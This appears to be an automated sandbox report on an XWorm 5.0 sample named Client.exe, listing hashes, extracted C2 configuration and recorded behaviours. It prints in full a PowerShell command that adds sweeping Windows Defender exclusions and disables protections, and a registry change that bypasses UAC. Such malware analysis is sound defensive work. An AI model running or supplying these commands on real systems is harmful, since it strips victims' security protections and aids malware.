Analysis
- max time kernel
149s - max time network
92s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
03/05/2026, 22:31
Behavioral task
behavioral1
Sample
Client.exe
Resource
win10v2004-20260130-en
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
Client.exe
Resource
win11-20260130-en
9 signatures
150 seconds
General
- Target Client.exe
- Size 36KB
- Sample260503-2fsscsc16m
- SHA256 51f474976b30fa68716262f4183103205ecf1338223ec0a45377b00736265158
- MD5 805d7da74613688bcdb045b661699374
- SHA1 6f07c2a47b5bcec9506f482ade5f24a7f8ccbc8e
- SHA512 bc8d139352cc81e16956b58c19c8beef5fdd5c7d994c17bacbe18d2c82de8ecd8c28dba279bd55822c1d4ba803bea13eaead24d7f20473f65d9bdfbc6b944656
- SSDEEP 768:YPe4/0nnDAtR2EMFrXy9SA33inXoOFhKbOUL:E0nmonF7y9SA33iXoOFIJ
- TLSH T1B0F21908B7D48615DAFE7FB56D7262094632B9179913DB4D0DC884AE6B73EC08E00BE7
- MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
5.0
C2
-
XSPY @YourMrSan:19870
Mutex
-
gruZDSFFizU3HGKV8+j2H==
Attributes
-
install_file
USB.exe
aes.plain
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral2/memory/4780-0-0x00000000008B0000-0x00000000008C0000-memory.dmp family_xworm - UAC bypass 3 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Client.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 2584 powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 2584 powershell.exe 2584 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4780 Client.exe Token: SeDebugPrivilege 2584 powershell.exe - Suspicious use of WriteProcessMemory 1 IoCs
description pid Process procid_target PID 4780 wrote to memory of 2584 4780 Client.exe 80 - System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Client.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\Client.exe"C:\Users\Admin\AppData\Local\Temp\Client.exe"1⤵
- UAC bypass
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Program Files'; Add-MpPreference -ExclusionPath 'C:\Windows\system32'; Add-MpPreference -ExclusionPath 'C:\Users\Admin'; Add-MpPreference -ExclusionPath 'C:\Windows\System32\config'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'; Add-MpPreference -ExclusionPath 'C:\ProgramData'; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\'; Add-MpPreference -ExclusionProcess 'C:\Users\Admin\AppData\Local\Temp\Client.exe'; Add-MpPreference -ExclusionProcess 'C:\Windows\System32\fodhelper.exe'; Add-MpPreference -ExclusionProcess 'powershell.exe'; Add-MpPreference -ExclusionExtension '.exe'; Add-MpPreference -ExclusionExtension '.bat'; Add-MpPreference -ExclusionExtension '.vbs'; Add-MpPreference -ExclusionExtension '.vbe'; Add-MpPreference -ExclusionExtension '.lnk'; Set-MpPreference -ScanScheduleDay 8; Set-MpPreference -HighThreatDefaultAction 6 -Force; Set-MpPreference -ModerateThreatDefaultAction 6; Set-MpPreference -LowThreatDefaultAction 6; Set-MpPreference -SevereThreatDefaultAction 6; Set-MpPreference -EnableFullScanOnBatteryPower $false; Set-MpPreference -MAPSReporting 0; Set-MpPreference -SubmitSamplesConsent 2; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableCatchupFullScan $true; Set-MpPreference -DisableCatchupQuickScan $true; Set-MpPreference -DisablePrivacyMode $false; Set-MpPreference -EnableLowCpuPriority $true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2584
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ex2suhnr.d1o.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH